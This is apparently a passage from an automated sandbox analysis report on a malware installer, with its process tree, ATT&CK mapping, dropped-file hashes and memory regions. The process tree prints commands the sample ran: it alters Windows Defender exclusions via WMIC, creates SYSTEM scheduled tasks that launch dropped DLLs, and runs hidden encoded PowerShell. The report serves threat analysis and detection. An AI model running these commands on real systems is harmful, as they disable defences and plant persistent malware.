                                                                                                          powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                          6⤵
                                                                                                          • Drops file in System32 directory
                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:3060
                                                                                                          • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                            "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
                                                                                                            7⤵
                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                            PID:776
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\OJLDvKxDU\UgXLtg.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ZPVskaMeORyUtyn" /V1 /F
                                                                                                    3⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:2568
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "ZPVskaMeORyUtyn2" /F /xml "C:\Program Files (x86)\OJLDvKxDU\YscuLru.xml" /RU "SYSTEM"
                                                                                                    3⤵
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:2856
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /END /TN "ZPVskaMeORyUtyn"
                                                                                                    3⤵
                                                                                                      PID:2128
                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                      schtasks /DELETE /F /TN "ZPVskaMeORyUtyn"
                                                                                                      3⤵
                                                                                                        PID:2568
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "yrjCurKJXOthHv" /F /xml "C:\Program Files (x86)\jDcnSjPvYahU2\QGZgwWd.xml" /RU "SYSTEM"
                                                                                                        3⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:3036
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "NetXkRqHZJDfE2" /F /xml "C:\ProgramData\mMAjWdbxOIjSziVB\WChNsao.xml" /RU "SYSTEM"
                                                                                                        3⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:2704
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "YkvMZvjGAPbigdKuX2" /F /xml "C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\xzMFtZn.xml" /RU "SYSTEM"
                                                                                                        3⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:2832
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "nQHiQOLyvgcbJIDARWU2" /F /xml "C:\Program Files (x86)\qpZxqHvFKXpRC\suvUbLf.xml" /RU "SYSTEM"
                                                                                                        3⤵
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:1548
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /CREATE /TN "EJKQCvUwFyvoZzoaf" /SC once /ST 01:53:57 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll\",#1 /Xesite_idiba 525403" /V1 /F
                                                                                                        3⤵
                                                                                                        • Drops file in Windows directory
                                                                                                        • Creates scheduled task(s)
                                                                                                        PID:2564
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                        schtasks /run /I /tn "EJKQCvUwFyvoZzoaf"
                                                                                                        3⤵
                                                                                                          PID:3044
                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                          schtasks /DELETE /F /TN "qXnxKrbPbFSTFetyh"
                                                                                                          3⤵
                                                                                                            PID:1900
                                                                                                        • C:\Windows\system32\rundll32.EXE
                                                                                                          C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll",#1 /Xesite_idiba 525403
                                                                                                          2⤵
                                                                                                            PID:1264
                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                              C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll",#1 /Xesite_idiba 525403
                                                                                                              3⤵
                                                                                                              • Blocklisted process makes network request
                                                                                                              • Checks BIOS information in registry
                                                                                                              • Loads dropped DLL
                                                                                                              • Drops file in System32 directory
                                                                                                              • Enumerates system info in registry
                                                                                                              • Modifies data under HKEY_USERS
                                                                                                              PID:2052
                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                schtasks /DELETE /F /TN "EJKQCvUwFyvoZzoaf"
                                                                                                                4⤵
                                                                                                                  PID:668
                                                                                                          • C:\Windows\system32\taskeng.exe
                                                                                                            taskeng.exe {C7D957EF-55A2-4494-8146-9181834AA86B} S-1-5-21-3627615824-4061627003-3019543961-1000:SCFGBRBT\Admin:Interactive:[1]
                                                                                                            1⤵
                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                            PID:2740
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                              2⤵
                                                                                                              • Drops file in System32 directory
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                              • Suspicious use of WriteProcessMemory
                                                                                                              PID:2808
                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                3⤵
                                                                                                                  PID:828
                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:2220
                                                                                                                • C:\Windows\system32\gpupdate.exe
                                                                                                                  "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                  3⤵
                                                                                                                    PID:816
                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                  2⤵
                                                                                                                  • Drops file in System32 directory
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  PID:2288
                                                                                                                  • C:\Windows\system32\gpupdate.exe
                                                                                                                    "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                    3⤵
                                                                                                                      PID:1312
                                                                                                                • C:\Windows\system32\gpscript.exe
                                                                                                                  gpscript.exe /RefreshSystemParam
                                                                                                                  1⤵
                                                                                                                    PID:2564
                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                    1⤵
                                                                                                                      PID:1060
                                                                                                                    • C:\Windows\system32\gpscript.exe
                                                                                                                      gpscript.exe /RefreshSystemParam
                                                                                                                      1⤵
                                                                                                                        PID:2972

                                                                                                                      Network

                                                                                                                      MITRE ATT&CK Matrix ATT&CK v13

                                                                                                                      Execution

                                                                                                                      Scheduled Task/Job

                                                                                                                      1
                                                                                                                      T1053

                                                                                                                      Persistence

                                                                                                                      Create or Modify System Process

                                                                                                                      1
                                                                                                                      T1543

                                                                                                                      Windows Service

                                                                                                                      1
                                                                                                                      T1543.003

                                                                                                                      Scheduled Task/Job

                                                                                                                      1
                                                                                                                      T1053

                                                                                                                      Privilege Escalation

                                                                                                                      Create or Modify System Process

                                                                                                                      1
                                                                                                                      T1543

                                                                                                                      Windows Service

                                                                                                                      1
                                                                                                                      T1543.003

                                                                                                                      Scheduled Task/Job

                                                                                                                      1
                                                                                                                      T1053

                                                                                                                      Defense Evasion

                                                                                                                      Modify Registry

                                                                                                                      3
                                                                                                                      T1112

                                                                                                                      Impair Defenses

                                                                                                                      2
                                                                                                                      T1562

                                                                                                                      Disable or Modify Tools

                                                                                                                      2
                                                                                                                      T1562.001

                                                                                                                      Subvert Trust Controls

                                                                                                                      1
                                                                                                                      T1553

                                                                                                                      Install Root Certificate

                                                                                                                      1
                                                                                                                      T1553.004

                                                                                                                      Credential Access

                                                                                                                      Unsecured Credentials

                                                                                                                      1
                                                                                                                      T1552

                                                                                                                      Credentials In Files

                                                                                                                      1
                                                                                                                      T1552.001

                                                                                                                      Discovery

                                                                                                                      Query Registry

                                                                                                                      4
                                                                                                                      T1012

                                                                                                                      System Information Discovery

                                                                                                                      4
                                                                                                                      T1082

                                                                                                                      Collection

                                                                                                                      Data from Local System

                                                                                                                      1
                                                                                                                      T1005

                                                                                                                      Replay Monitor

                                                                                                                      Loading Replay Monitor...

                                                                                                                      Downloads

                                                                                                                      • C:\Program Files (x86)\OJLDvKxDU\YscuLru.xml
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        b82ed37eac917ecf22acc4cf97f3c664

                                                                                                                        SHA1

                                                                                                                        3fb566e57bb1db163f40241220f3181f20b097d5

                                                                                                                        SHA256

                                                                                                                        37a7ea57c4a8817dc3b7755263b2ebd0ea7459eadc0d3f515ba1b28960ad67c3

                                                                                                                        SHA512

                                                                                                                        cd20a90b1ac00f2c7cf09720de087a39d5e7f3592c911517655443e5077fc2026b235c8e7d36c36bb399235b3c8fba9f8b6d7afee722a845c451ef3c2cb1ce7e

                                                                                                                      • C:\Program Files (x86)\jDcnSjPvYahU2\QGZgwWd.xml
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        b44264a41fefa466602ad77af1c77b7d

                                                                                                                        SHA1

                                                                                                                        429bb7009da1cdd4f894bdefc6c084a9a41d3900

                                                                                                                        SHA256

                                                                                                                        defcc4de8f15ca55e274b7d08d0ec10732a3d0d04f28ba7c0a37854a14453618

                                                                                                                        SHA512

                                                                                                                        c20444a94498f8729411302acc7f9e4c2659d72fd18dfece85a4163b3b839dbdee9a477979b47385c1171df477f413e1c7def3820fce31411ce8a45e50f2f43b

                                                                                                                      • C:\Program Files (x86)\qpZxqHvFKXpRC\suvUbLf.xml
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        9c6d7faf3cf5669406eb92b098d7948a

                                                                                                                        SHA1

                                                                                                                        d9469e6977f4079c1868556217fc639532d909b7

                                                                                                                        SHA256

                                                                                                                        e1a5b0684658e7b21d2906fec42c208510432bbc591eb182d65ce20fafdf3a4d

                                                                                                                        SHA512

                                                                                                                        6c3c402492a094fc9be242dc690b300645356a0b5ba0bfe798205394c4d0b5d2fac3d5a977e8852fb8550a538ad81a5ce245a0da9deda6bddea273f30bdf54cd

                                                                                                                      • C:\Program Files (x86)\zpJNjIVgFcEwVtLiUsR\xzMFtZn.xml
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        a3dcb8ff81b0abae219b4792432b5944

                                                                                                                        SHA1

                                                                                                                        333294323ab510a81ebc5012df1b5883db4ad56d

                                                                                                                        SHA256

                                                                                                                        344b9176c137945262591492401439d8de912276215563cdd584ca1487a7eb03

                                                                                                                        SHA512

                                                                                                                        330008fdd5475cf98fcf0a3bd905c36308ba6257163017087489e7f58d0f5b48c817c194514f21376eafdd1343ddf44076e2654e450ee1a552cbcd686ecbec22

                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{469DEDC5-791B-41B7-99CA-EB25B08298D1}.xpi
                                                                                                                        Filesize

                                                                                                                        2.0MB

                                                                                                                        MD5

                                                                                                                        f4f812416bd685eee851b5a822574f74

                                                                                                                        SHA1

                                                                                                                        b521eda560685cb0e2e8d7186fbae35955762140

                                                                                                                        SHA256

                                                                                                                        c0ed7e9892da33fde09a0dd11a21280494813714d0ba8560858c5b795e68615f

                                                                                                                        SHA512

                                                                                                                        12309bc5843d5adcdec803f25ced385d7baf5521772c897de8581a163bdcf67d11e48c21f45feee12f5cd340a7c407404197b808ffd0957273b8ea912a0387cc

                                                                                                                      • C:\ProgramData\mMAjWdbxOIjSziVB\WChNsao.xml
                                                                                                                        Filesize

                                                                                                                        2KB

                                                                                                                        MD5

                                                                                                                        9b6e03f8a125dea8c721f2cda35e9e9a

                                                                                                                        SHA1

                                                                                                                        3021e4983176451483a9affcdd77237d70f7d41a

                                                                                                                        SHA256

                                                                                                                        0889b6da7fd22cdb402a8d4e193d97a4c19869eba05b9ab226dc510cdd5af023

                                                                                                                        SHA512

                                                                                                                        484db81cd78d9fea263f87bfd25d47b6e432d290084bb14904ef3368f201e72208e57d3d9fcb579d2918e8d002f3a107e904230ac806e7a94e6c56ee57ea0504

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\en_GB\messages.json
                                                                                                                        Filesize

                                                                                                                        187B

                                                                                                                        MD5

                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                        SHA1

                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                        SHA256

                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                        SHA512

                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\fa\messages.json
                                                                                                                        Filesize

                                                                                                                        136B

                                                                                                                        MD5

                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                        SHA1

                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                        SHA256

                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                        SHA512

                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\gfcdbodapcbfckbfpmgeldfkkgjknceo\1.2.0_0\_locales\pt_BR\messages.json
                                                                                                                        Filesize

                                                                                                                        150B

                                                                                                                        MD5

                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                        SHA1

                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                        SHA256

                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                        SHA512

                                                                                                                        5bc1f5a2d38f4a071513e2ac25b241c8e5584bed8d77e7fc4194855898d51a328dd73200f5aae6c9bc1b2a304e40e56bc686192074bd8a1bcc98f4971dee428f

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                                                        Filesize

                                                                                                                        10KB

                                                                                                                        MD5

                                                                                                                        90e8bbe94418f6b0fbd8b3c38a78b50f

                                                                                                                        SHA1

                                                                                                                        33b7630b6bd49d2a9c439150272f6b47402f7a69

                                                                                                                        SHA256

                                                                                                                        16d2860cbc75a405d3dc4ff726d3d37c418c2a6f0ae161f57c2f63dd5d20fc84

                                                                                                                        SHA512

                                                                                                                        70a78dd0bd3fc2eca056a95c351a5c7fade760d2b04d393ee373a2702ffbaef004c19c7493aea4607e9e249a974595daa9da1313253e08ba89d44da06a5f563e

                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                                                        Filesize

                                                                                                                        26KB

                                                                                                                        MD5

                                                                                                                        5440d378f2645683d4fb4f1dc3cc3bb1

                                                                                                                        SHA1

                                                                                                                        b29d39fe0e3ed2493320605bc6c54445c86b2d88

                                                                                                                        SHA256

                                                                                                                        26803ee170ec7ba700560617abc2d20a442996b61287cf2ac57b3ab78a11b0ce

                                                                                                                        SHA512

                                                                                                                        6e406e0eee54c154f3dfb89757ed739d224f52d69bc9252cef830755c37afeffcceeae0ed25527dcaaa63aaaae7bb70dbef2b64ac6393720fbc6817b85e76173

                                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
                                                                                                                        Filesize

                                                                                                                        7KB

                                                                                                                        MD5

                                                                                                                        ede7f4e96e864d3e8949794a69f781a1

                                                                                                                        SHA1

                                                                                                                        82948cecb60e2d4bdb868d08845dc70273513a26

                                                                                                                        SHA256

                                                                                                                        9b1ad63250f78ea5174a1e44b6bc94aa071c60df4fd94b14845d7d3c692c96cd

                                                                                                                        SHA512

                                                                                                                        3f60b421ebcff5b732ed6388cf2be0b90bf2aec13901497b788cce616bd201509ad97c2ac98c1dad946252a90b7e57c826c9e3ed9817056aa7efc8fbaf260bab

                                                                                                                      • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\5ZPB7YIX4WGHRYVQ3SXH.temp
                                                                                                                        Filesize

                                                                                                                        7KB

                                                                                                                        MD5

                                                                                                                        ea8395d8e266b84aa8dfbd6ff88edc78

                                                                                                                        SHA1

                                                                                                                        1e46b96e64a8388fac49839c8bc99bc4c2dabdc5

                                                                                                                        SHA256

                                                                                                                        a293b001688852dc996b6e8f84cc76aea30cacb25faf9cdabaa85c3543563ed8

                                                                                                                        SHA512

                                                                                                                        23a480e0b5cd44b6eca56f45e875723e2a476ed381ecb3a2ca204a1e1b7de1bbbe24dba31e19bf1dd410556b1eaf5ed2c5bc4a567e04f646c04d9b167fc4937a

                                                                                                                      • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\lf4jobx9.default-release\prefs.js
                                                                                                                        Filesize

                                                                                                                        6KB

                                                                                                                        MD5

                                                                                                                        a1562e0b6227c239ccfb67848728d88e

                                                                                                                        SHA1

                                                                                                                        426f6c58fa86c7199af4e23313e1f21546e70e34

                                                                                                                        SHA256

                                                                                                                        31c7ad882a02af55d2692488a9889949103d3a715989811ec0eba7be06b83447

                                                                                                                        SHA512

                                                                                                                        997893bd22cdcefcfad39f16a4497b9c8c43ee914ccfddcb10abd2833f93ece29d6e9498e1ff3b40c8eed05038bb78ae81fc279c9456a6ef8916c189750c2242

                                                                                                                      • C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
                                                                                                                        Filesize

                                                                                                                        68KB

                                                                                                                        MD5

                                                                                                                        29f65ba8e88c063813cc50a4ea544e93

                                                                                                                        SHA1

                                                                                                                        05a7040d5c127e68c25d81cc51271ffb8bef3568

                                                                                                                        SHA256

                                                                                                                        1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

                                                                                                                        SHA512

                                                                                                                        e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

                                                                                                                      • C:\Windows\Temp\heXdjphsLYtTYYrU\wHxMNpVA\fCsyGXOGeyHtGQIc.wsf
                                                                                                                        Filesize

                                                                                                                        9KB

                                                                                                                        MD5

                                                                                                                        7d0e9e2a000a4778e8f68aea56579660

                                                                                                                        SHA1

                                                                                                                        1839723ff2dea9ed520219e82ed969c3f8c0450d

                                                                                                                        SHA256

                                                                                                                        55b6ceb13c486573215f162a33ec00866ec59490b587d4d40d9f0e2d504ea349

                                                                                                                        SHA512

                                                                                                                        0b4c5a25207d4aa315f305215338605f9bddc4c70288eebcc30b3a6ab68277af4db67f669d8bb7856fb8eb871621ffccfa0445e06e4b496abafa6530747d8341

                                                                                                                      • C:\Windows\Temp\heXdjphsLYtTYYrU\xDbsuxMp\JCXHQks.dll
                                                                                                                        Filesize

                                                                                                                        6.4MB

                                                                                                                        MD5

                                                                                                                        f7abebf1d656904f55bdea5a2e997543

                                                                                                                        SHA1

                                                                                                                        2c4cb9048f84322cd7669ac00f0c1f8b05db339a

                                                                                                                        SHA256

                                                                                                                        5b1c4471df887df5d3a4331470ffcaf008c79cbe17186de3e83342676684c862

                                                                                                                        SHA512

                                                                                                                        cd04387851e4cb59f5286b5f62d0022ee7a546b74c22b3c7422476839e22c4caf4d91fe81ef2ea367f32e12bb4bbf03954644f2f03456c20eb270233229c09e1

                                                                                                                      • C:\Windows\system32\GroupPolicy\Machine\Registry.pol
                                                                                                                        Filesize

                                                                                                                        5KB

                                                                                                                        MD5

                                                                                                                        95a215a013ec7fda96d90c00c7525ead

                                                                                                                        SHA1

                                                                                                                        7da1c1d554ab2bdd491467d5d0da5b958d9c157b

                                                                                                                        SHA256

                                                                                                                        674c4c426a307341e9c73fa290b9d53475ce2c1e892d7d490c31e46e3bd09b0a

                                                                                                                        SHA512

                                                                                                                        c75e077f916330715203143b63c4a3a08bf3734be14e65dc1a9bbf277d3e39d9e40901662174c8a5b6f8940daa2e7859ef83a37c8ea91d3b258535c4cf52366b

                                                                                                                      • \??\PIPE\srvsvc
                                                                                                                        MD5

                                                                                                                        d41d8cd98f00b204e9800998ecf8427e

                                                                                                                        SHA1

                                                                                                                        da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                                                                                        SHA256

                                                                                                                        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                                                                                        SHA512

                                                                                                                        cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                                                                                      • \Users\Admin\AppData\Local\Temp\7zS1A16.tmp\Install.exe
                                                                                                                        Filesize

                                                                                                                        6.6MB

                                                                                                                        MD5

                                                                                                                        f8efb05b940b05fc74801b61b3c0f500

                                                                                                                        SHA1

                                                                                                                        8e3eb6d604f3552d48ebcb385fc2681716b172af

                                                                                                                        SHA256

                                                                                                                        90c6b16de088ab3f5737bcb599bb9ffd69a28abd149ab986b7fe52ba8bb2f400

                                                                                                                        SHA512

                                                                                                                        028ea55f06fbfb079673df19e6e6249e3a2107a3d5485586f8c18724bf0a6a996ea5a7e31721bed9f7bf677bbf789c596994601076c66676c92fbd3a94741fff

                                                                                                                      • memory/1148-105-0x00000000015C0000-0x0000000001600000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/1148-106-0x00000000015C0000-0x0000000001600000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/1148-103-0x0000000074350000-0x00000000748FB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/1148-113-0x0000000074350000-0x00000000748FB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/1148-102-0x00000000015C0000-0x0000000001600000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/1148-100-0x0000000074350000-0x00000000748FB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2052-390-0x0000000001250000-0x0000000001827000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.8MB

                                                                                                                      • memory/2096-61-0x00000000743C0000-0x000000007496B000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2096-62-0x00000000014B0000-0x00000000014F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/2096-63-0x00000000743C0000-0x000000007496B000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2096-64-0x00000000014B0000-0x00000000014F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/2096-65-0x00000000014B0000-0x00000000014F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/2096-66-0x00000000743C0000-0x000000007496B000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2220-54-0x0000000002D10000-0x0000000002D90000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2220-59-0x0000000002D10000-0x0000000002D90000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2220-56-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2220-55-0x00000000027E0000-0x00000000027E8000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/2220-58-0x0000000002D10000-0x0000000002D90000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2220-57-0x0000000002D10000-0x0000000002D90000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2220-53-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2220-52-0x000000001B750000-0x000000001BA32000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        2.9MB

                                                                                                                      • memory/2220-60-0x000007FEF5A60000-0x000007FEF63FD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2288-77-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2288-78-0x0000000002070000-0x00000000020F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2288-82-0x000007FEF5A20000-0x000007FEF63BD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2288-81-0x0000000002070000-0x00000000020F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2288-80-0x0000000002070000-0x00000000020F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2288-79-0x0000000002070000-0x00000000020F0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2336-26-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.8MB

                                                                                                                      • memory/2476-21-0x0000000073980000-0x0000000073F2B000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2476-20-0x0000000002F60000-0x0000000002FA0000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        256KB

                                                                                                                      • memory/2476-19-0x0000000073980000-0x0000000073F2B000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.7MB

                                                                                                                      • memory/2488-353-0x0000000008D80000-0x0000000008E04000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        528KB

                                                                                                                      • memory/2488-367-0x0000000008E10000-0x0000000008EDB000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        812KB

                                                                                                                      • memory/2488-143-0x0000000007F20000-0x0000000007F82000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        392KB

                                                                                                                      • memory/2488-98-0x0000000008840000-0x00000000088C5000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        532KB

                                                                                                                      • memory/2488-87-0x0000000010000000-0x00000000105D7000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        5.8MB

                                                                                                                      • memory/2808-39-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2808-36-0x000000001B5E0000-0x000000001B8C2000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        2.9MB

                                                                                                                      • memory/2808-41-0x0000000001FC0000-0x0000000001FC8000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        32KB

                                                                                                                      • memory/2808-40-0x0000000002DF0000-0x0000000002E70000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2808-43-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

                                                                                                                      • memory/2808-38-0x0000000002DF0000-0x0000000002E70000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        512KB

                                                                                                                      • memory/2808-37-0x000007FEF5B30000-0x000007FEF64CD000-memory.dmp
                                                                                                                        Filesize

                                                                                                                        9.6MB

